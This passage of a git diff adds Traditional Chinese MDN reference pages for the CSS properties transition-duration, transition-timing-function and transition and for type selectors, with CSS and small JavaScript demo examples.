+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>{{cssxref("&lt;time&gt;")}}類型表示轉場動畫從舊狀態轉至新狀態所需要的時間。如果時間長度為0，表示沒有任何轉場，狀態之間會立即改變。若時間長度為負值則無效。</dd>
+</dl>
+
+<h3 id="正式語法">正式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<div>
+<div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+</div>
+
+<div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+</div>
+
+<div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+</div>
+
+<div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-duration', 'transition-duration') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="瀏覽器支援情形">瀏覽器支援情形</h2>
+
+
+
+<p>{{Compat("css.properties.transition-duration")}}</p>
+
+<h2 id="更多資訊">更多資訊</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="en/CSS/CSS transitions">CSS 轉場 </a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/transition-timing-function/index.html b/files/zh-tw/web/css/transition-timing-function/index.html
new file mode 100644
index 0000000000..492a4e3c3e
--- /dev/null
+++ b/files/zh-tw/web/css/transition-timing-function/index.html
@@ -0,0 +1,605 @@
+---
+title: transition-timing-function
+slug: Web/CSS/transition-timing-function
+translation_of: Web/CSS/transition-timing-function
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>transition-timing-function</code></strong> CSS 屬性用於表示各個被<a href="/zh-TW/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">動畫特效</a>影響的屬性的區間值計算方式。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-timing-function.html")}}</div>
+
+<p class="hidden">這個互動式範例存放在 GitHub 專案中，如果你想貢獻，請 Clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 並發送 PR。</p>
+
+<p> </p>
+
+<p>本質上，這個屬性讓你使用加速度曲線來表示動畫變換的速度。</p>
+
+<p>而每個可以動畫化的屬性使用一個 {{cssxref("&lt;timing-function&gt;")}} 作為加速度曲線。</p>
+
+<p> </p>
+
+<p>你也許有許多時間函數，而你可以透過使用 {{ cssxref("transition-property") }} 屬性來個別設置。如果有前述清單的數量超過時間函數的數量，則會使用預設值 <code>ease</code>；如果少於那多餘的時間函數會被忽略，在這兩種情況，CSS 宣告總會有效。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush:css no-line-numbers">/* Keyword */
+transition-timing-function: ease;
+transition-timing-function: ease-in;
+transition-timing-function: ease-out;
+transition-timing-function: ease-in-out;
+transition-timing-function: linear;
+transition-timing-function: step-start;
+transition-timing-function: step-end;
+
+/* 函數 */
+transition-timing-function: steps(4, end);
+transition-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
+transition-timing-function: frames(10);
+
+/* 多個函數 */
+transition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* 全域值 */
+transition-timing-function: inherit;
+transition-timing-function: initial;
+transition-timing-function: unset;
+
+/* 包含 transition-property */
+transition-property: width, height;
+transition-timing-function: ease-in, ease-out; // ease-in to width and ease-out to height
+
+</pre>
+
+<h3 id="值">值</h3>
+
+<dl>
+ <dt><code>&lt;timing-function&gt;</code></dt>
+ <dd>每個 {{cssxref("&lt;timing-function&gt;")}} 連結到對應的動畫化屬性，請參考 {{ cssxref("transition-property") }}。</dd>
+</dl>
+
+<h3 id="公式語法">公式語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<div>
+<div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+</div>
+
+<div id="ttf_easein" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-in</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easein",275,150)}}</div>
+</div>
+
+<div id="ttf_easeout" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-out</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easeout",275,150)}}</div>
+</div>
+
+<div id="ttf_easeinout" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: ease-in-out</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_easeinout",275,150)}}</div>
+</div>
+</div>
+
+<div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: linear</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+</div>
+
+<div id="ttf_stepstart" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: step-start</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-start;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-start;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-start;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-start;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_stepstart",275,150)}}</div>
+</div>
+
+<div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: step-end</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+</div>
+
+<div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-timing-function: steps(4, end)</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+</div>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-timing-function-property', 'transition-timing-function') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="相容性">相容性</h2>
+
+<div class="hidden">相容性表格是根據結構化資料自動建立的，如果你想貢獻，請參考 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並發送 PR。</div>
+
+<p>{{Compat("css.properties.transition-timing-function")}}</p>
+
+<h2 id="看更多">看更多</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">使用 CSS transitions</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/transition/index.html b/files/zh-tw/web/css/transition/index.html
new file mode 100644
index 0000000000..3e5b3c042c
--- /dev/null
+++ b/files/zh-tw/web/css/transition/index.html
@@ -0,0 +1,106 @@
+---
+title: transition
+slug: Web/CSS/transition
+tags:
+  - CSS
+  - CSS Property
+  - CSS轉場
+  - Reference
+translation_of: Web/CSS/transition
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>transition</code></strong> <a href="/zh-TW/docs/Web/CSS" title="CSS">CSS </a>屬性是 {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, and {{ cssxref("transition-delay") }}的 <a href="/zh-TW/docs/Web/CSS/Shorthand_properties" title="/en-US/docs/CSS/Shorthand_properties">特性簡寫</a>。</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div>
+
+
+
+<p>Transitions 讓你可以定義元件在兩個狀態之間切換的轉場效果。兩個不同狀態可以使用<a href="/zh-TW/docs/Web/CSS/Pseudo-classes" title="/en-US/docs/CSS/Pseudo-classes">虛擬類別</a> 定義，像是{{cssxref(":hover")}} 或 {{cssxref(":active")}} 亦或是 使用JavaScript設定的狀態變化。</p>
+
+<h2 id="語法"><strong>語法</strong></h2>
+
+<pre class="brush:css no-line-numbers">/* Apply to 1 property */
+/* property name | duration */
+transition: margin-right 4s;
+
+/* property name | duration | delay */
+transition: margin-right 4s 1s;
+
+/* property name | duration | timing function */
+transition: margin-right 4s ease-in-out;
+
+/* property name | duration | timing function | delay */
+transition: margin-right 4s ease-in-out 1s;
+
+/* Apply to 2 properties */
+transition: margin-right 4s, color 1s;
+
+/* Apply to all changed properties */
+transition: all 0.5s ease-out;
+
+/* Global values */
+transition: inherit;
+transition: initial;
+transition: unset;
+</pre>
+
+<p><code>transition</code> 屬性可以包含一個或多個轉場設定，每一項設定都以逗點分開。</p>
+
+<p>每一項設定都描述著每一項屬性所對應的轉場效果(或是<code>all</code> 及 <code>none</code>這兩個特殊值) 。其包含了：</p>
+
+<ul>
+ <li>無或一個對應的屬性名稱。可以是：
+  <ul>
+   <li>關鍵字 <code>none</code></li>
+   <li>關鍵字 <code>all</code></li>
+   <li>以{{cssxref("&lt;custom-ident&gt;")}}命名的CSS屬性。</li>
+  </ul>
+ </li>
+ <li>無或一個{{cssxref("&lt;single-transition-timing-function&gt;")}} 表示所使用的漸變函式。</li>
+ <li>無、一個或兩個{{cssxref("&lt;time&gt;")}} 值。第一個值會被指派給{{cssxref("transition-duration")}}, 而第二個則被指派給{{cssxref("transition-delay")}}。</li>
+</ul>
+
+<p>當每個轉場設定不等長時，請參見 <a href="/zh-TW/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions#當_property_value_list_之間並不等長時_..." title="en/CSS/CSS transitions#When property value lists are of different lengths">當property values list 之間不等長時...</a> 。簡而言之，多餘的描述(超過實際被執行的數量)會直接被忽略。</p>
+
+<h3 id="標準語法">標準語法</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<p><a href="/zh-TW/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="en/CSS/CSS transitions">CSS 轉場</a> 有更多範例。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-shorthand-property', 'transition') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="瀏覽器支援情況">瀏覽器支援情況</h2>
+
+
+
+<p>{{Compat("css.properties.transition")}}</p>
+
+<h2 id="更多資訊">更多資訊</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="en/CSS/CSS transitions">CSS轉場</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/zh-tw/web/css/type_selectors/index.html b/files/zh-tw/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..6a6bb32e89
--- /dev/null
+++ b/files/zh-tw/web/css/type_selectors/index.html
@@ -0,0 +1,79 @@
+---
+title: 元素選擇器
+slug: Web/CSS/Type_selectors
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef}}<br>
+<strong>CSS 元素選擇器 （也稱 型態選擇器）</strong>依照 Node 節點名稱選取匹配的 Element 元素。換句話說，此選擇器選取在 Document 文件內所有指定該型態的元素。</div>
+
+<div> </div>
+
+<pre class="brush: css no-line-numbers">/* 全部的 &lt;a&gt; 元素。*/
+a {
+  color: red;
+}</pre>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">element { <em>style properties</em> }
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: skyblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Here's a span with some text.&lt;/span&gt;
+&lt;p&gt;Here's a p with some text.&lt;/p&gt;
+&lt;span&gt;Here's a span with more text.&lt;/span&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example', '100%', 150)}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
